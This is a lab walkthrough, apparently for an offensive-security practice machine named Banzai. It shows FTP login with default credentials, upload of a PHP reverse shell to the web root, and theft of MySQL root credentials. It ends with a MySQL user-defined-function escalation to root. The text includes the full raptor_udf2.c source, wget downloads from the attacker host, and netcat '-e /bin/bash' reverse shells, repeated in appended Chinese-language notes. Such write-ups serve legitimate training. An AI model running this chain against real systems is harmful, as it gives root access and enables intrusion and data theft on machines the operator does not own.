Exploitation Guide for Banzai

Summary
In this scenario, we discover weak credentials in an FTP service. We’ll leverage this to upload a web shell to a misconfigured web server. We’ll then write a custom function which allows us to run commands as root on a misconfigured MySQL database.
Enumeration
Nmap
Let’s start with an nmap
scan against all TCP ports.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -Pn 192.168.246.56
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 01:35 EST
Host is up (0.26s latency).
Not shown: 65528 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
5432/tcp open postgresql
8080/tcp open http-proxy
8295/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 4724.17 seconds
An aggressive scan against port 8295 reveals an Apache web server.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p 8295 -A 192.168.246.56 -T4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 01:48 EST
Nmap scan report for 192.168.246.56
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
8295/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Banzai
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 23.87 seconds
Web Enumeration
Navigating to http://192.168.246.56:8295 presents a website, and further enumeration confirms that the index.php file exists. This indicates that PHP is installed and configured on the server.
┌──(kali㉿kali)-[~]
└─$ dirb <http://192.168.246.56:8295/>
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Dec 21 23:04:47 2020
URL_BASE: <http://192.168.246.56:8295/>
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: <http://192.168.246.56:8295/> ----
==> DIRECTORY: <http://192.168.246.56:8295/css/>
==> DIRECTORY: <http://192.168.246.56:8295/img/>
+ <http://192.168.246.56:8295/index.php> (CODE:200|SIZE:23315)
==> DIRECTORY: <http://192.168.246.56:8295/js/>
==> DIRECTORY: <http://192.168.246.56:8295/lib/>
+ <http://192.168.246.56:8295/server-status> (CODE:403|SIZE:281)
END_TIME: Mon Dec 21 23:27:39 2020
DOWNLOADED: 4612 - FOUND: 2
FTP Enumeration
Anonymous FTP authentication is turned off, but let’s test some basic insecure credentials including admin
:admin
.
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.246.56
Connected to 192.168.246.56.
220 (vsFTPd 3.0.3)
Name (192.168.246.56:kali): admin
331 Please specify the password.
Password: admin
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r-- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
226 Directory send OK.
We find index.php on the FTP server, and discover that this is the web root directory!
Exploitation
File Upload Vulnerability
The root FTP directory is the same as the root of the website on port 8295, and it is writable. To exploit this, we can simply upload the PHP reverse shell from PentestMonkey (https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php), replacing lines 49 and 50 with the proper IP address and port number.
$ip = '192.168.49.246'; // CHANGE THIS
$port = 21; // CHANGE THIS
We’ll upload the reverse shell to the web root using our FTP connection.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5496 bytes sent in 0.00 secs (26.6061 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r-- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
-rw-r--r-- 1 1001 1001 5496 Dec 21 23:31 php-reverse-shell.php
226 Directory send OK.
ftp> exit
221 Goodbye.
Let’s start a Netcat listener on port 21, and then trigger the reverse shell by visiting http://192.168.246.56:8295/php-reverse-shell.php.
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 21 1 ⨯
listening on [any] 21 ...
connect to [192.168.49.246] from (UNKNOWN) [192.168.246.56] 41756
Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
23:39:00 up 37 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@banzai:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Escalation
Local Enumeration
As we explore the system, we find an interesting config.php file located outside the web root, and it seems to contain database credentials.
www-data@banzai:/$ pwd
pwd
/
www-data@banzai:/$ cd /var/www/ && ls -lah
cd /var/www/ && ls -lah
total 16K
drwxr-xr-x 3 www-data root 4.0K Jul 31 12:33 .
drwxr-xr-x 12 root root 4.0K Jun 4 2020 ..
-rw-r--r-- 1 admin root 135 May 26 2020 config.php
drwxr-xr-x 7 admin root 4.0K Dec 21 23:38 html
www-data@banzai:/var/www$ cat config.php
cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>
We’ll note these credentials for later use.
Next, we note that our user account (www-data
) can write to /var/www.
www-data@banzai:/var/www$ ls -la /var
ls -la /var
total 48
drwxr-xr-x 12 root root 4096 Jun 4 2020 .
drwxr-xr-x 22 root root 4096 Jun 4 2020 ..
drwxr-xr-x 2 root root 4096 Jul 7 06:25 backups
drwxr-xr-x 9 root root 4096 Jun 5 2020 cache
drwxr-xr-x 32 root root 4096 Jun 5 2020 lib
drwxrwsr-x 2 root staff 4096 Sep 8 2019 local
lrwxrwxrwx 1 root root 9 Jun 4 2020 lock -> /run/lock
drwxr-xr-x 9 root root 4096 Jul 27 12:09 log
drwxrwsr-x 2 root mail 4096 Jun 4 2020 mail
drwxr-xr-x 2 root root 4096 Jun 4 2020 opt
lrwxrwxrwx 1 root root 4 Jun 4 2020 run -> /run
drwxr-xr-x 6 root root 4096 Jun 5 2020 spool
drwxrwxrwt 2 root root 4096 Aug 12 17:05 tmp
drwxr-xr-x 3 www-data root 4096 Jul 31 12:33 www
www-data@banzai:/var/www$
Checking for listening services, we find that a MySQL instance is running on the localhost interface.
www-data@banzai:/var/www$ netstat -tlpn
netstat -tlpn
...
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5432 :::* LISTEN -
tcp6 0 0 :::25 :::* LISTEN -
tcp6 0 0 :::8295 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
www-data@banzai:/var/www$
We can authenticate with the credentials from config.php. In addition, it appears that the MySQL service is running with root privileges.
www-data@banzai:/var/www$ ps aux | grep mysql
ps aux | grep mysql
root 735 0.0 8.5 1122720 175744 ? Sl 23:01 0:00 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
www-data 1717 0.0 0.0 11108 944 pts/0 S+ 23:45 0:00 grep mysql
www-data@banzai:/var/www$
Escalation via MySQL User Defined Function
We can take advantage of this serious misconfiguration to escalate our privilege from www-data
to root
via user defined database functions (UDFs), specifically raptor_udf2.c.
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1) {
return(0);
}
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
return(0);
}
Let’s start a web server on our attack machine.
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8295
Serving HTTP on 0.0.0.0 port 8295 (<http://0.0.0.0:8295/>) ...
Next, we’ll download the UDF source code to the target.
www-data@banzai:/var/www$ wget <http://192.168.49.246:8295/raptor_udf2.c> -O /var/www/raptor_udf2.c
<49.246:8295/raptor_udf2.c -O /var/www/raptor_udf2.c
--2020-12-21 23:54:25-- <http://192.168.49.246:8295/raptor_udf2.c>
Connecting to 192.168.49.246:8295... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1029 (1.0K) [text/x-csrc]
Saving to: '/var/www/raptor_udf2.c'
/var/www/raptor_udf 100%[===================>] 1.00K --.-KB/s in 0s
2020-12-21 23:54:25 (309 MB/s) - '/var/www/raptor_udf2.c' saved [1029/1029]
www-data@banzai:/var/www$ ls
ls
config.php html raptor_udf2.c
www-data@banzai:/var/www$
We’ll compile the source code in two steps as indicated in the comments.
www-data@banzai:/var/www$ gcc -g -c raptor_udf2.c
gcc -g -c raptor_udf2.c
www-data@banzai:/var/www$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
<,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
www-data@banzai:/var/www$ ls -lah
ls -lah
total 40K
drwxr-xr-x 3 www-data root 4.0K Dec 21 23:55 .
drwxr-xr-x 12 root root 4.0K Jun 4 2020 ..
-rw-r--r-- 1 admin root 135 May 26 2020 config.php
drwxr-xr-x 7 admin root 4.0K Dec 21 23:38 html
-rw-rw-rw- 1 www-data www-data 1.1K Dec 21 23:52 raptor_udf2.c
-rw-rw-rw- 1 www-data www-data 7.2K Dec 21 23:55 raptor_udf2.o
-rwxrwxrwx 1 www-data www-data 11K Dec 21 23:55 raptor_udf2.so
www-data@banzai:/var/www$
Now, we’ll connect to the MySQL database from our low-privilege shell with the recovered credentials and then switch to the mysql
database.
www-data@banzai:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: EscalateRaftHubris123
Welcome to the MySQL monitor. Commands end with ; or \\g.
Your MySQL connection id is 2
Server version: 5.7.30 MySQL Community Server (GPL)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql>
The first step in this process is to discover where this installation of MySQL stores its UDFs. In this case, the directory is /usr/lib/mysql/plugin/. We’ll use this directory name in the steps that follow.
mysql> show variables like 'plugin_dir';
show variables like 'plugin_dir';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
mysql>
We must also determine whether the database has been misconfigured to allow insecure handling of files.
mysql> SHOW VARIABLES LIKE "secure_file_priv";
SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)
mysql>
At this point, all elements are in place to exploit this misconfiguration and obtain a root shell.
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)
mysql> insert into foo values(load_file('/var/www/raptor_udf2.so'));
insert into foo values(load_file('/var/www/raptor_udf2.so'));
Query OK, 1 row affected (0.01 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
mysql>
If everything went according to plan, the do_system
function based on our malicious UDF will grant us root-level command execution. To check this, we can run the id
command and redirect the output to a file we can read:
mysql> select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');
select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');
+----------------------------------------------------------------------+
| do_system('id > /var/www/out; chown www-data.www-data /var/www/out') |
+----------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> \\! sh
\\! sh
$ cat /var/www/out
cat /var/www/out
uid=0(root) gid=114(mysql) groups=114(mysql)
$ exit
exit
mysql>
The command did indeed execute with the highest privileges. To obtain a reverse shell, we can download our copy of the Netcat binary to the target and then run it as root. We’ll continue utilizing our running python web server on port 8295.
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8295
Serving HTTP on 0.0.0.0 port 8295 (<http://0.0.0.0:8295/>) ...
Let’s download the Netcat binary and make it executable.
mysql> select do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc');
select do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc');
+----------------------------------------------------------------+
| do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc') |
+----------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------+
1 row in set (4.94 sec)
mysql> select do_system('chmod 777 /var/www/nc');
select do_system('chmod 777 /var/www/nc');
+------------------------------------+
| do_system('chmod 777 /var/www/nc') |
+------------------------------------+
| 0 |
+------------------------------------+
1 row in set (0.00 sec)
mysql>
Finally, we can start our Netcat listener on port 8295 and execute the following command:
mymysql> select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');
select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');
We have caught our root shell!
┌──(kali㉿kali)-[/tmp]
└─$ nc -nlvp 8295
listening on [any] 8295 ...
connect to [192.168.49.246] from (UNKNOWN) [192.168.246.56] 49898
whoami
root
Other Skills
mysqludf脚本路径:/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
mysql关闭严格模式(不限制宽度):set global sql_mode='';
mysql -u root -p
EscalateRaftHubris123
mysql> use mysql;
mysql> create table trenchesofit(line blob);
mysql> insert into trenchesofit values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
mysql> select * from trenchesofit into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
mysql> select sys_exec('nc -e /bin/sh 192.168.49.130 22');
nc -lvnp 21
查看防火墙端口限制信息:
sudo iptables -S
Discussion